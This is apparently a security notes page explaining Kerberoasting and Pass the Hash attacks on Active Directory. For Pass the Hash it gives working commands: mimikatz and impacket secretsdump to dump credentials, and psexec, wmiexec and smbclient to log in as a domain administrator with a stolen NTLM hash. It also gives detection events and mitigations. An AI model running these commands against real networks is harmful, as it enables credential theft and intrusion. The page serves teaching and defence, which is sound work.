Kerberoasting

Mon, 01 Jan 0001 00:00:00 +0000

what is it?

Kerberoasting is an Active Directory attack that allows any authenticated domain user to request Kerberos service tickets (TGS) for accounts that have a Service Principal Name (SPN) set. Those tickets are encrypted with the service account’s NTLM hash, meaning they can be taken offline and cracked without any further interaction with the domain controller.

The attack is particularly effective because SPNs are often set on service accounts with weak passwords, and requesting a TGS is a normal, logged operation that blends in with everyday traffic.

Pass the Hash

Mon, 01 Jan 0001 00:00:00 +0000

what is it?

Pass the Hash (PtH) is a technique that uses a captured NTLM hash to authenticate as a user without knowing their plaintext password. Because NTLM authentication uses the hash directly as a credential, an attacker with a valid hash can authenticate to any service that accepts NTLM — SMB, WMI, RDP (in some configs), and more.

requirements

A captured NTLM hash (from mimikatz, secretsdump, or similar)
Network access to the target
Target must accept NTLM authentication (most Windows environments do)

attack steps

1. obtain a hash

1# dump from lsass on a compromised host
2mimikatz # sekurlsa::logonpasswords
3
4# remote dump via impacket
5secretsdump.py domain/user:password@10.0.0.5

2. authenticate with the hash

1# psexec with hash
2psexec.py -hashes :ntlmhash domain/administrator@10.0.0.10
3
4# wmiexec
5wmiexec.py -hashes :ntlmhash domain/administrator@10.0.0.10
6
7# smbclient
8smbclient.py -hashes :ntlmhash domain/administrator@10.0.0.10

detection

Event ID 4624 logon type 3 (network) with NTLM authentication where Kerberos would be expected
Mismatched workstation names or unusual source IPs for privileged accounts

mitigation

Enable Protected Users security group — prevents NTLM auth for member accounts
Disable NTLM where possible via GPO (Network security: Restrict NTLM)
Use Credential Guard to protect lsass from memory reads
Enforce tiered administration to limit where privileged hashes are cached

notes on ethicalhacker.tech

Kerberoasting

what is it?

Pass the Hash

what is it?

requirements

attack steps

1. obtain a hash

2. authenticate with the hash

detection

mitigation